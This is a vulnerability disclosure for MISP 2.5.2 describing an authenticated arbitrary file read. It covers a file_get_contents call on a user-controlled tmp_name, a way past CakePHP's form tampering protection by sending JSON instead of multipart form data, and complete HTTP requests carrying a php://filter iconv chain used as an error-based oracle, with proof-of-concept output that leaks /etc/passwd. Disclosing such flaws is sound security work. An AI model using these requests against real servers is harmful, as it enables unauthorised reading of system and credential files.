Vulnerability Disclosure - MISP 2.5.2
Ianis BERNARDIntroduction
MISP (Malware Information Sharing Platform) is an open source threat intelligence platform. This web application is used for collecting, storing, distributing and sharing cyber security indicators and threats about cyber security incidents analysis and malware analysis.
The source code of MISP is built with CakePHP, an open-source web framework that follows the model-view-controller approach.
Acylia performed a light security audit of MISP over the course of an afternoon with the goal of identifying CakePHP related security vulnerabilities.
Vulnerability summary
pending CVE- Arbitrary file read via PHP filter chain error-based oracle
Vulnerability details
Arbitrary file read via PHP filter chain error-based oracle
As seen on the code extracted from EventsController.php, the file_get_contents function is called with the user-controllable parameter in $this->request['data']['Event']['analysis_file']['tmp_name']. It is possible to exploit this code to to leak the content of arbitrary files files using an error-based oracle via PHP filters.
public function upload_analysis_file($eventId)
{
$data = array();
$this->set('eventId', $eventId);
$this->set('file_uploaded', "0");
$this->set('file_name', "");
if (!$this->userRole['perm_modify']) {
throw new UnauthorizedException('You do not have permission to do that.');
}
if ($this->request->is('post') && !empty($this->request['data']['Event']['analysis_file']['name'])) {
$this->set('file_uploaded', "1");
$this->set('file_name', $this->request['data']['Event']['analysis_file']['name']);
$this->set('file_content', file_get_contents($this->request['data']['Event']['analysis_file']['tmp_name']));
}
...
}To exploit this vulnerability, the attacker must be authenticated with the perm_modify role.
The attacker must be able to control the value of ['Event']['analysis_file']['tmp_name'].
MISP benefits from CakePHP SecurityComponent to prevent form tampering.
- Unknown fields cannot be added to a form.
- Fields cannot be removed from a form.
This form security prevents using the trick from CVE-2022-29528 (MISP 2.4.155) where we abused the merge of $_FILES items to $this->request->data to control tmp_name.
<form action="/events/upload_analysis_file/1" method="POST">
<input
type="text"
name="data[Event][analysis_file][type]"
value="application/octet-stream"
/>
<input
type="text"
name="data[Event][analysis_file][name]"
value="acylia.com"
/>
<input
type="text"
name="data[Event][analysis_file][tmp_name]"
value="/etc/passwd"
/>
<input type="text" name="data[Event][analysis_file][size]" value="1" />
<input type="text" name="data[Event][analysis_file][error]" value="" />
...
</form>However, we can bypass this security mechanism by submitting application/json instead of multipart/form-data. Also we no longer need to submit a CSRF token.
{
"Event": {
"analysis_file": {
"type": "application/octet-stream",
"name": "acylia.com",
"tmp_name": "/etc/passwd",
"size": 1,
"error": 0
}
}
}CakePHP will merge the JSON data in $this->request->data.
An important trick here is to set the Accept header to both application/json and text/html. The first one to force the usage of JSON and the second one to return the upload_analysis_file.ctp template because the lack of JSON template would raise an error.
The request below returns a HTTP status 200.
POST /events/upload_analysis_file/1 HTTP/1.1
Host: misp.local
Accept: application/json,text/html
Connection: keep-alive
Cookie: MISP-[redacted]
Content-Type: application/json
{
"Event": {
"analysis_file": {
"type": "application/octet-stream",
"name": "acylia.com",
"tmp_name": "php://filter/convert.iconv.L1.UCS-4BE|convert.iconv.L1.UCS-4BE|convert.iconv.L1.UCS-4BE|convert.iconv.L1.UCS-4BE|convert.iconv.L1.UCS-4BE|convert.iconv.L1.UCS-4BE|convert.iconv.L1.UCS-4BE|convert.iconv.L1.UCS-4BE|convert.iconv.L1.UCS-4BE|convert.iconv.L1.UCS-4BE|convert.iconv.L1.UCS-4BE|convert.iconv.L1.UCS-4BE|convert.iconv.L1.UCS-4BE|convert.iconv.L1.UCS-4BE|convert.iconv.L1.UCS-4BE/resource=data:,",
"size": 1,
"error": 0
}
}
}The request below (note the a) triggers a memory error and return an HTTP status 500.
POST /events/upload_analysis_file/1 HTTP/1.1
Host: misp.local
Accept: application/json,text/html
Connection: keep-alive
Cookie: MISP-[redacted]
Content-Type: application/json
{
"Event": {
"analysis_file": {
"type": "application/octet-stream",
"name": "acylia.com",
"tmp_name": "php://filter/convert.iconv.L1.UCS-4BE|convert.iconv.L1.UCS-4BE|convert.iconv.L1.UCS-4BE|convert.iconv.L1.UCS-4BE|convert.iconv.L1.UCS-4BE|convert.iconv.L1.UCS-4BE|convert.iconv.L1.UCS-4BE|convert.iconv.L1.UCS-4BE|convert.iconv.L1.UCS-4BE|convert.iconv.L1.UCS-4BE|convert.iconv.L1.UCS-4BE|convert.iconv.L1.UCS-4BE|convert.iconv.L1.UCS-4BE|convert.iconv.L1.UCS-4BE|convert.iconv.L1.UCS-4BE/resource=data:,a",
"size": 1,
"error": 0
}
}
}We were able to develop a proof of concept in Python based on the tool lightyear to leak arbitrary files on the machine where MISP 2.5.2 is installed.
python lightyear.py /etc/passwd
root:x:0:0
Dumping /etc/passwd (got 10 bytes)